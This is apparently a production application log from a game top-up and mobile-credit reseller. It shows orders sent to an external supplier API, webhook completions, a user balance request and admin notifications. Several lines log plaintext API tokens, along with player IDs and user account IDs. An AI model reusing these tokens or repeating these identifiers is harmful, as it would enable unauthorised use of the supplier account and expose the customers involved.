[2026-03-24 12:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540,"orders_count":1} 
[2026-03-24 12:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-LTNeX6-1774345552","operation_id":163541} 
[2026-03-24 12:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-LTNeX6-1774345552","operation_id":163541,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 12:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-LTNeX6-1774345552","operation_id":163541,"processed":0,"errors":0} 
[2026-03-24 12:46:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-LTNeX6-1774345552","operation_id":163541} 
[2026-03-24 12:46:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 12:46:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-LTNeX6-1774345552","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:46:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-LTNeX6-1774345552","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:46:16] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:46:16] production.INFO: SendAcceptReject: Notification queued {"user_id":1038,"notification_type":"order_approved","reference_id":178616} 
[2026-03-24 12:46:16] production.INFO: Order updated successfully. Order ID: 178616, Status: completed  
[2026-03-24 12:46:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-LTNeX6-1774345552","status":"completed","codes_count":0} 
[2026-03-24 12:46:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1038  
[2026-03-24 12:46:32] production.INFO: Constructing job for order: 178617  
[2026-03-24 12:46:35] production.INFO: Handling job for order: 178617  
[2026-03-24 12:46:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:46:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:46:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=75000&uuid=77921263-4ad2-48c6-8a71-10cc95916c6c&Player_ID=3270271  
[2026-03-24 12:46:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=75000&uuid=77921263-4ad2-48c6-8a71-10cc95916c6c&Player_ID=3270271","has_body":false} 
[2026-03-24 12:46:36] production.INFO: Operation sent successfully {"operation_id":163542,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Ig1CD3-1774345595","amount":5.6813924999999994014387993956916034221649169921875,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 12:46:36"}},"processed_data":{"order_number":"ORD-Ig1CD3-1774345595","amount":5.6813924999999994014387993956916034221649169921875,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 12:47:11] production.INFO: Constructing job for order: 178618  
[2026-03-24 12:47:12] production.INFO: Handling job for order: 178618  
[2026-03-24 12:47:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:47:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:47:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=c332ef77-5a26-42f6-8dc9-734878104a76&Player_ID=13065581702  
[2026-03-24 12:47:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=c332ef77-5a26-42f6-8dc9-734878104a76&Player_ID=13065581702","has_body":false} 
[2026-03-24 12:47:12] production.INFO: Operation sent successfully {"operation_id":163543,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SLBRx3-1774345632","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 12:47:12"}},"processed_data":{"order_number":"ORD-SLBRx3-1774345632","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 12:47:34] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-SLBRx3-1774345632","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:47:34] production.INFO: Processed webhook data (normalized) {"id":"ORD-SLBRx3-1774345632","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:47:34] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:47:34] production.INFO: SendAcceptReject: Notification queued {"user_id":1038,"notification_type":"order_approved","reference_id":178618} 
[2026-03-24 12:47:34] production.INFO: Order updated successfully. Order ID: 178618, Status: completed  
[2026-03-24 12:47:34] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-SLBRx3-1774345632","status":"completed","codes_count":0} 
[2026-03-24 12:47:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1038  
[2026-03-24 12:48:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"p8r5LFWE25fZUTflYV8Q99t5CVtnrw8x","execution_time":"2026-03-24 12:48:03"} 
[2026-03-24 12:48:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"p8r5LFWE25fZUTflYV8Q99t5CVtnrw8x","execution_time":"2026-03-24 12:48:03","total_operations":1,"sites_count":1} 
[2026-03-24 12:48:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"p8r5LFWE25fZUTflYV8Q99t5CVtnrw8x","execution_time":"2026-03-24 12:48:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-Ig1CD3-1774345595"]} 
[2026-03-24 12:48:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"p8r5LFWE25fZUTflYV8Q99t5CVtnrw8x","execution_time":"2026-03-24 12:48:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:48:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"p8r5LFWE25fZUTflYV8Q99t5CVtnrw8x","execution_time":"2026-03-24 12:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 12:48:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"p8r5LFWE25fZUTflYV8Q99t5CVtnrw8x","execution_time":"2026-03-24 12:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ig1CD3-1774345595","operation_id":163542} 
[2026-03-24 12:48:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"p8r5LFWE25fZUTflYV8Q99t5CVtnrw8x","execution_time":"2026-03-24 12:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ig1CD3-1774345595","operation_id":163542,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 12:48:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"p8r5LFWE25fZUTflYV8Q99t5CVtnrw8x","execution_time":"2026-03-24 12:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ig1CD3-1774345595","operation_id":163542,"processed":0,"errors":0} 
[2026-03-24 12:48:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"p8r5LFWE25fZUTflYV8Q99t5CVtnrw8x","execution_time":"2026-03-24 12:48:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ig1CD3-1774345595","operation_id":163542} 
[2026-03-24 12:48:53] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1900.0","mainamount":"1900","operation_number":"158142073","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php9c8191l3skl16Mgni71"}},"user_id":1032} 
[2026-03-24 12:48:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 12:48:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 12:48:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 12:48:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 12:48:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 12:48:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 12:48:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 12:48:55] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 12:48:55] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18608,"user_id":1032,"amount":1900.0,"admins_notified":7} 
[2026-03-24 12:49:11] production.INFO: Constructing job for order: 178619  
[2026-03-24 12:49:13] production.INFO: Handling job for order: 178619  
[2026-03-24 12:49:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:49:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:49:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=4414ebef-b73c-4bdb-8777-12ca61137be8&Player_ID=13026738261  
[2026-03-24 12:49:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=4414ebef-b73c-4bdb-8777-12ca61137be8&Player_ID=13026738261","has_body":false} 
[2026-03-24 12:49:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Ig1CD3-1774345595","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 12:49:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-Ig1CD3-1774345595","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 12:49:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:49:13] production.INFO: SendAcceptReject: Notification queued {"user_id":771,"notification_type":"order_approved","reference_id":178617} 
[2026-03-24 12:49:13] production.INFO: Order updated successfully. Order ID: 178617, Status: completed  
[2026-03-24 12:49:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Ig1CD3-1774345595","status":"completed","codes_count":0} 
[2026-03-24 12:49:14] production.INFO: Operation sent successfully {"operation_id":163544,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-P3E-1774345753","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 12:49:14"}},"processed_data":{"order_number":"ORD-P3E-1774345753","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 12:49:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 771  
[2026-03-24 12:49:52] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-P3E-1774345753","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:49:52] production.INFO: Processed webhook data (normalized) {"id":"ORD-P3E-1774345753","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:49:52] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:49:52] production.INFO: SendAcceptReject: Notification queued {"user_id":1038,"notification_type":"order_approved","reference_id":178619} 
[2026-03-24 12:49:52] production.INFO: Order updated successfully. Order ID: 178619, Status: completed  
[2026-03-24 12:49:52] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-P3E-1774345753","status":"completed","codes_count":0} 
[2026-03-24 12:49:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1038  
[2026-03-24 12:50:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pVVH3HpzqcrfIvtyNhyl5PrQxAX0RMAd","execution_time":"2026-03-24 12:50:02"} 
[2026-03-24 12:50:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"pVVH3HpzqcrfIvtyNhyl5PrQxAX0RMAd","execution_time":"2026-03-24 12:50:02"} 
[2026-03-24 12:50:02] production.INFO: Executing GetProducts task...  
[2026-03-24 12:50:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:50:02] production.INFO: Executing GetProducts task...  
[2026-03-24 12:50:04] production.INFO: async() رجع: true  
[2026-03-24 12:50:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:50:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:50:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:50:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:50:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:50:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:50:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:50:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:50:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:50:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:50:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:50:06] production.INFO: Constructing job for order: 178620  
[2026-03-24 12:50:08] production.INFO: Handling job for order: 178620  
[2026-03-24 12:50:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:50:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:50:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=100000&uuid=efbe6e48-7ef1-482b-9d12-912f261ec0d0&Player_ID=3270271  
[2026-03-24 12:50:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=100000&uuid=efbe6e48-7ef1-482b-9d12-912f261ec0d0&Player_ID=3270271","has_body":false} 
[2026-03-24 12:50:09] production.INFO: Operation sent successfully {"operation_id":163545,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-GwtT-1774345809","amount":7.57518999999999920191839919425547122955322265625,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 12:50:09"}},"processed_data":{"order_number":"ORD-GwtT-1774345809","amount":7.57518999999999920191839919425547122955322265625,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 12:51:14] production.INFO: Constructing job for order: 178621  
[2026-03-24 12:51:15] production.INFO: Handling job for order: 178621  
[2026-03-24 12:51:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:51:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:51:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=2ffc8b30-6676-4efe-b079-461cab546617&Player_ID=52291222055  
[2026-03-24 12:51:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=2ffc8b30-6676-4efe-b079-461cab546617&Player_ID=52291222055","has_body":false} 
[2026-03-24 12:51:16] production.INFO: Operation sent successfully {"operation_id":163546,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ITTc7Ufu-1774345876","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG","notes":[],"created_at":"2026-03-24 12:51:16"}},"processed_data":{"order_number":"ORD-ITTc7Ufu-1774345876","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG"}} 
[2026-03-24 12:51:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ITTc7Ufu-1774345876","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:51:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-ITTc7Ufu-1774345876","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:51:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:51:31] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":178621} 
[2026-03-24 12:51:31] production.INFO: Order updated successfully. Order ID: 178621, Status: completed  
[2026-03-24 12:51:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ITTc7Ufu-1774345876","status":"completed","codes_count":0} 
[2026-03-24 12:51:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 12:51:43] production.INFO: SendAcceptReject: Notification queued {"user_id":1032,"notification_type":"request_approved","reference_id":18608} 
[2026-03-24 12:51:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1032  
[2026-03-24 12:51:49] production.INFO: Constructing job for order: 178622  
[2026-03-24 12:51:52] production.INFO: Handling job for order: 178622  
[2026-03-24 12:51:52] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:51:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:51:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=cfd6dfff-e6fb-4c62-ac03-ca338c7ef366&Player_ID=13026738261  
[2026-03-24 12:51:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=cfd6dfff-e6fb-4c62-ac03-ca338c7ef366&Player_ID=13026738261","has_body":false} 
[2026-03-24 12:51:53] production.INFO: Operation sent successfully {"operation_id":163547,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-U3ZjGPi-1774345912","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 12:51:53"}},"processed_data":{"order_number":"ORD-U3ZjGPi-1774345912","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 12:52:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"BauEETcGUQUJ0RiqzAVmQpmNpUvaKPtf","execution_time":"2026-03-24 12:52:02"} 
[2026-03-24 12:52:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"BauEETcGUQUJ0RiqzAVmQpmNpUvaKPtf","execution_time":"2026-03-24 12:52:02","total_operations":2,"sites_count":1} 
[2026-03-24 12:52:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"BauEETcGUQUJ0RiqzAVmQpmNpUvaKPtf","execution_time":"2026-03-24 12:52:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-GwtT-1774345809","ORD-U3ZjGPi-1774345912"]} 
[2026-03-24 12:52:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"BauEETcGUQUJ0RiqzAVmQpmNpUvaKPtf","execution_time":"2026-03-24 12:52:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:52:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"BauEETcGUQUJ0RiqzAVmQpmNpUvaKPtf","execution_time":"2026-03-24 12:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 12:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BauEETcGUQUJ0RiqzAVmQpmNpUvaKPtf","execution_time":"2026-03-24 12:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-GwtT-1774345809","operation_id":163545} 
[2026-03-24 12:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BauEETcGUQUJ0RiqzAVmQpmNpUvaKPtf","execution_time":"2026-03-24 12:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U3ZjGPi-1774345912","operation_id":163547} 
[2026-03-24 12:52:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"BauEETcGUQUJ0RiqzAVmQpmNpUvaKPtf","execution_time":"2026-03-24 12:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U3ZjGPi-1774345912","operation_id":163547,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 12:52:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"BauEETcGUQUJ0RiqzAVmQpmNpUvaKPtf","execution_time":"2026-03-24 12:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U3ZjGPi-1774345912","operation_id":163547,"processed":0,"errors":0} 
[2026-03-24 12:52:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"BauEETcGUQUJ0RiqzAVmQpmNpUvaKPtf","execution_time":"2026-03-24 12:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U3ZjGPi-1774345912","operation_id":163547} 
[2026-03-24 12:52:08] production.INFO: Constructing job for order: 178623  
[2026-03-24 12:52:11] production.INFO: Handling job for order: 178623  
[2026-03-24 12:52:11] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:52:11] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:52:11] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=43150&uuid=bc3ca88f-9ba3-44a3-b6ce-4f2b92dbc1fa&Player_ID=1466279768  
[2026-03-24 12:52:11] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=43150&uuid=bc3ca88f-9ba3-44a3-b6ce-4f2b92dbc1fa&Player_ID=1466279768","has_body":false} 
[2026-03-24 12:52:12] production.INFO: Operation sent successfully {"operation_id":163548,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jmpBA-1774345932","amount":4.85696400000000050312110033701173961162567138671875,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 12:52:12"}},"processed_data":{"order_number":"ORD-jmpBA-1774345932","amount":4.85696400000000050312110033701173961162567138671875,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 12:52:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-jmpBA-1774345932","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 12:52:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-jmpBA-1774345932","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 12:52:16] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:52:16] production.INFO: SendAcceptReject: Notification queued {"user_id":1688,"notification_type":"order_approved","reference_id":178623} 
[2026-03-24 12:52:16] production.INFO: Order updated successfully. Order ID: 178623, Status: completed  
[2026-03-24 12:52:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-jmpBA-1774345932","status":"completed","codes_count":0} 
[2026-03-24 12:52:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1688  
[2026-03-24 12:52:19] production.INFO: Constructing job for order: 178624  
[2026-03-24 12:52:21] production.INFO: Handling job for order: 178624  
[2026-03-24 12:52:21] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:52:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:52:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=c04a1384-c7ef-46a7-aeae-711dcdac3975&Player_ID=0954936053  
[2026-03-24 12:52:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=c04a1384-c7ef-46a7-aeae-711dcdac3975&Player_ID=0954936053","has_body":false} 
[2026-03-24 12:52:21] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-U3ZjGPi-1774345912","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:52:21] production.INFO: Processed webhook data (normalized) {"id":"ORD-U3ZjGPi-1774345912","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:52:21] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:52:22] production.INFO: SendAcceptReject: Notification queued {"user_id":1038,"notification_type":"order_approved","reference_id":178622} 
[2026-03-24 12:52:22] production.INFO: Order updated successfully. Order ID: 178622, Status: completed  
[2026-03-24 12:52:22] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-U3ZjGPi-1774345912","status":"completed","codes_count":0} 
[2026-03-24 12:52:22] production.INFO: Operation sent successfully {"operation_id":163549,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ixQHp-1774345941","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 12:52:22"}},"processed_data":{"order_number":"ORD-ixQHp-1774345941","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 12:52:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1038  
[2026-03-24 12:52:23] production.INFO: Constructing job for order: 178625  
[2026-03-24 12:52:25] production.INFO: Handling job for order: 178625  
[2026-03-24 12:52:25] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:52:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:52:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=5138bc5d-a716-4f16-8613-720e0ba1a9f7&Player_ID=0954936053  
[2026-03-24 12:52:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=5138bc5d-a716-4f16-8613-720e0ba1a9f7&Player_ID=0954936053","has_body":false} 
[2026-03-24 12:52:25] production.INFO: Operation sent successfully {"operation_id":163550,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-PZhaz8-1774345945","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 12:52:25"}},"processed_data":{"order_number":"ORD-PZhaz8-1774345945","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 12:52:49] production.INFO: Constructing job for order: 178626  
[2026-03-24 12:52:50] production.INFO: Constructing job for order: 178627  
[2026-03-24 12:52:52] production.INFO: Handling job for order: 178626  
[2026-03-24 12:52:52] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:52:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:52:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=251e370b-0374-4c6e-9734-be9b91743c93&Player_ID=52262706381  
[2026-03-24 12:52:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=251e370b-0374-4c6e-9734-be9b91743c93&Player_ID=52262706381","has_body":false} 
[2026-03-24 12:52:53] production.INFO: Operation sent successfully {"operation_id":163551,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-sVjbXZ9n-1774345973","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 12:52:53"}},"processed_data":{"order_number":"ORD-sVjbXZ9n-1774345973","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 12:52:53] production.INFO: Handling job for order: 178627  
[2026-03-24 12:52:53] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:52:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
